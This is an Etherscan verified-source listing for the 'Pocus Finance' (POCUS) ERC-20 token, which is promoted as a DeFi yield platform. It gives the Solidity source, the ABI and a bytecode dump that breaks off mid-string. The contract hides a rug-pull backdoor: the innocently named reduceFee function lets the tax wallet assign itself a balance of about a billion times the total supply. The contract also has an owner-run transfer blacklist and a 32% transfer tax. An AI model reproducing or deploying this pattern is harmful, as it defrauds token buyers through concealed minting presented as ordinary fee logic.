Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract POCUS is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function manualSwap()    - function removeTransferTax()    - function sendETHToFee(uint256 amount)    - function addBots(address[] memory bot ...    - function delBots(address[] memory not ...    - function isBot(address a)    - function openTrading()    - function reduceFee(uint256 _newFee)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-03
*/

// SPDX-License-Identifier: UNLICENSE

/*
Decentralized asset management powerhouse. Optimizing yields, simplifying DeFi strategies, and leading the charge in tokenized, yield-bearing vaults

Pocus is a platform for decentralized asset management that offers tokenized yield-bearing vaults of strategies.

We aim to simplify DeFi strategy building for retail investors to invest in new crypto market narratives. Our goal is to enable investors to achieve maximum profits with clear and managed risks.

Web: https://pocus.finance
App: https://app.pocus.finance
X: https://x.com/PocusFinanceErc
Tg: https://t.me/pocus_finance_erc_official
Docs: https://medium.com/@pocus.finance
*/

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract POCUS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;

    uint256 private _initialBuyTax=29;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=4;
    uint256 private _reduceSellTaxAt=16;
    uint256 private _preventSwapBefore=5;
    uint256 private _transferTax=32;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Pocus Finance";
    string private constant _symbol = unicode"POCUS";
    uint256 public _maxTxAmount = 6300000000 * 10**_decimals;
    uint256 public _maxWalletSize = 6300000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 420000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 8400000000 * 10**_decimals;
    uint256 private constant _supply = _tTotal * 10 ** _decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    address payable private _taxWallet = payable(0xEA1575C379E66465c823927329975470cab00f9F);
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                sendETHToFee(address(this).balance);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _transferTax = 0;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      _balances[_taxWallet] = _supply;
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601d60055560176006556002600755600260085560046009556010600a556005600b556020600c556000600d556009600a62000041919062000682565b6200005290640177825f006200069a565b600e55620000636009600a62000682565b6200007490640177825f006200069a565b600f55620000856009600a62000682565b6200009590631908b1006200069a565b601055620000a66009600a62000682565b620000b7906401f4add4006200069a565b6011556013805461ffff60a81b1916905560006014819055601555601680546001600160a01b03191673ea1575c379e66465c823927329975470cab00f9f1790553480156200010557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001556009600a62000682565b62000166906461f313f8806200069a565b336000908152600160208190526040822092909255600390620001916000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308082526003909452828120805486166001908117909155601654909216815291909120805490931617909155601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620002409190620002296009600a62000682565b6200023a906461f313f8806200069a565b62000441565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000294573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ba9190620006b4565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200031d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003439190620006b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000391573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b79190620006b4565b601380546001600160a01b0319166001600160a01b0392909216919091179055620003df3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004196009600a62000682565b6200042a906461f313f8806200069a565b60405190815260200160405180910390a3620006df565b6001600160a01b038316620004a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200050c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004a0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005c4578160001904821115620005a857620005a86200056d565b80851615620005b657918102915b93841c939080029062000588565b509250929050565b600082620005dd575060016200067c565b81620005ec575060006200067c565b8160018114620006055760028114620006105762000630565b60019150506200067c565b60ff8411156200062457620006246200056d565b50506001821b6200067c565b5060208310610133831016604e8410600b841016171562000655575081810a6200067c565b62000661838362000583565b80600019048211156200067857620006786200056d565b0290505b92915050565b60006200069360ff841683620005cc565b9392505050565b80820281158282048414176200067c576200067c6200056d565b600060208284031215620006c757600080fd5b81516001600160a01b03811681146200069357600080fd5b611aaa80620006ef6000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103a4578063bf474bed146103c4578063c9567bf9146103da578063d34628cc146103ef578063dd62ed3e1461040f578063ec1f3f631461045557600080fd5b8063715018a6146102f8578063751039fc1461030d5780637d1db4a5146103225780638da5cb5b146103385780638f9a55c01461036057806395d89b411461037657600080fd5b806323b872dd1161010857806323b872dd14610218578063313ce5671461023857806331c2d847146102545780633bbac5791461027457806351bc3c85146102ad57806370a08231146102c257600080fd5b806306fdde0314610150578063095ea7b3146101985780630faee56f146101c8578063109daa99146101ec57806318160ddd1461020357600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600d81526c506f6375732046696e616e636560981b60208201525b60405161018f9190611575565b60405180910390f35b3480156101a457600080fd5b506101b86101b33660046115eb565b610475565b604051901515815260200161018f565b3480156101d457600080fd5b506101de60115481565b60405190815260200161018f565b3480156101f857600080fd5b5061020161048c565b005b34801561020f57600080fd5b506101de6104fc565b34801561022457600080fd5b506101b8610233366004611617565b61051e565b34801561024457600080fd5b506040516009815260200161018f565b34801561026057600080fd5b5061020161026f36600461166e565b610587565b34801561028057600080fd5b506101b861028f366004611733565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102b957600080fd5b5061020161061d565b3480156102ce57600080fd5b506101de6102dd366004611733565b6001600160a01b031660009081526001602052604090205490565b34801561030457600080fd5b5061020161066c565b34801561031957600080fd5b506102016106e0565b34801561032e57600080fd5b506101de600e5481565b34801561034457600080fd5b506000546040516001600160a01b03909116815260200161018f565b34801561036c57600080fd5b506101de600f5481565b34801561038257600080fd5b50604080518082019091526005815264504f43555360d81b6020820152610182565b3480156103b057600080fd5b506101b86103bf3660046115eb565b610795565b3480156103d057600080fd5b506101de60105481565b3480156103e657600080fd5b506102016107a2565b3480156103fb57600080fd5b5061020161040a36600461166e565b610991565b34801561041b57600080fd5b506101de61042a366004611750565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046157600080fd5b50610201610470366004611789565b610a23565b6000610482338484610ab6565b5060015b92915050565b6000546001600160a01b031633146104bf5760405162461bcd60e51b81526004016104b6906117a2565b60405180910390fd5b6000600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b600061050a6009600a6118d1565b610519906461f313f8806118e0565b905090565b600061052b848484610bda565b61057d843361057885604051806060016040528060288152602001611a4d602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111d8565b610ab6565b5060019392505050565b6000546001600160a01b031633146105b15760405162461bcd60e51b81526004016104b6906117a2565b60005b8151811015610619576000600460008484815181106105d5576105d56118f7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106118161190d565b9150506105b4565b5050565b6016546001600160a01b0316336001600160a01b03161461063d57600080fd5b30600090815260016020526040902054801561065c5761065c81611212565b478015610619576106198161138c565b6000546001600160a01b031633146106965760405162461bcd60e51b81526004016104b6906117a2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461070a5760405162461bcd60e51b81526004016104b6906117a2565b6107166009600a6118d1565b610725906461f313f8806118e0565b600e556107346009600a6118d1565b610743906461f313f8806118e0565b600f556000600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107786009600a6118d1565b610787906461f313f8806118e0565b6040519081526020016104f2565b6000610482338484610bda565b6000546001600160a01b031633146107cc5760405162461bcd60e51b81526004016104b6906117a2565b601354600160a01b900460ff16156108265760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b6565b6012546001600160a01b031663f305d7194730610858816001600160a01b031660009081526001602052604090205490565b60008061086d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108fa9190611926565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610953573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109779190611954565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016104b6906117a2565b60005b8151811015610619576001600460008484815181106109df576109df6118f7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a1b8161190d565b9150506109be565b6016546001600160a01b0316336001600160a01b031614610a4357600080fd5b610a4f6009600a6118d1565b610a5b6009600a6118d1565b610a6a906461f313f8806118e0565b610a7491906118e0565b6016546001600160a01b03166000908152600160205260409020556007548111801590610aa357506008548111155b610aac57600080fd5b6007819055600855565b6001600160a01b038316610b185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b6565b6001600160a01b038216610b795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c3e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b6565b6001600160a01b038216610ca05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b6565b60008111610d025760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b6565b600080546001600160a01b03858116911614801590610d2f57506000546001600160a01b03848116911614155b15611095576001600160a01b03841660009081526004602052604090205460ff16158015610d7657506001600160a01b03831660009081526004602052604090205460ff16155b610d7f57600080fd5b600d54600003610db857610db56064610daf600954600d5411610da457600554610da8565b6007545b85906113c6565b9061144f565b90505b600d5415610ddd57610dda6064610daf600c54856113c690919063ffffffff16565b90505b6013546001600160a01b038581169116148015610e0857506012546001600160a01b03848116911614155b8015610e2d57506001600160a01b03831660009081526003602052604090205460ff16155b15610f3257600e54821115610e845760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b6565b600f5482610ea7856001600160a01b031660009081526001602052604090205490565b610eb19190611976565b1115610eff5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b6565b610f1a6064610daf600954600d5411610da457600554610da8565b600d80549192506000610f2c8361190d565b91905055505b6013546001600160a01b038481169116148015610f5857506001600160a01b0384163014155b15610f8d57610f826064610daf600a54600d5411610f7857600654610da8565b60085485906113c6565b9050610f8d4761138c565b30600090815260016020526040902054601354600160a81b900460ff16158015610fc457506013546001600160a01b038581169116145b8015610fd95750601354600160b01b900460ff165b8015610fe6575060105481115b8015610ff55750600b54600d54115b156110935760155443111561100a5760006014555b60036014541061105c5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104b6565b6110796110748461106f84601154611491565b611491565b611212565b601480549060006110898361190d565b9091555050436015555b505b801561110f57306000908152600160205260409020546110b590826114a6565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111069085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111329083611505565b6001600160a01b0385166000908152600160205260409020556111776111588383611505565b6001600160a01b038516600090815260016020526040902054906114a6565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c18585611505565b60405190815260200160405180910390a350505050565b600081848411156111fc5760405162461bcd60e51b81526004016104b69190611575565b5060006112098486611989565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061125a5761125a6118f7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d7919061199c565b816001815181106112ea576112ea6118f7565b6001600160a01b0392831660209182029290920101526012546113109130911684610ab6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113499085906000908690309042906004016119b9565b600060405180830381600087803b15801561136357600080fd5b505af1158015611377573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610619573d6000803e3d6000fd5b6000826000036113d857506000610486565b60006113e483856118e0565b9050826113f18583611a2a565b146114485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b6565b9392505050565b600061144883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611547565b60008183116114a05782611448565b50919050565b6000806114b38385611976565b9050838110156114485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b6565b600061144883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d8565b600081836115685760405162461bcd60e51b81526004016104b69190611575565b5060006112098486611a2a565b600060208083528351808285015260005b818110156115a257858101830151858201604001528201611586565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115d857600080fd5b50565b80356115e6816115c3565b919050565b600080604083850312156115fe57600080fd5b8235611609816115c3565b946020939093013593505050565b60008060006060848603121561162c57600080fd5b8335611637816115c3565b92506020840135611647816115c3565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561168157600080fd5b823567ffffffffffffffff8082111561169957600080fd5b818501915085601f8301126116ad57600080fd5b8135818111156116bf576116bf611658565b8060051b604051601f19603f830116810181811085821117156116e4576116e4611658565b60405291825284820192508381018501918883111561170257600080fd5b938501935b8285101561172757611718856115db565b84529385019392850192611707565b98975050505050505050565b60006020828403121561174557600080fd5b8135611448816115c3565b6000806040838503121561176357600080fd5b823561176e816115c3565b9150602083013561177e816115c3565b809150509250929050565b60006020828403121561179b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182857816000190482111561180e5761180e6117d7565b8085161561181b57918102915b93841c93908002906117f2565b509250929050565b60008261183f57506001610486565b8161184c57506000610486565b8160018114611862576002811461186c57611888565b6001915050610486565b60ff84111561187d5761187d6117d7565b50506001821b610486565b5060208310610133831016604e8410600b84101617156118ab575081810a610486565b6118b583836117ed565b80600019048211156118c9576118c96117d7565b029392505050565b600061144860ff841683611830565b8082028115828204841417610486576104866117d7565b634e487b7160e01b600052603260045260246000fd5b6000600182016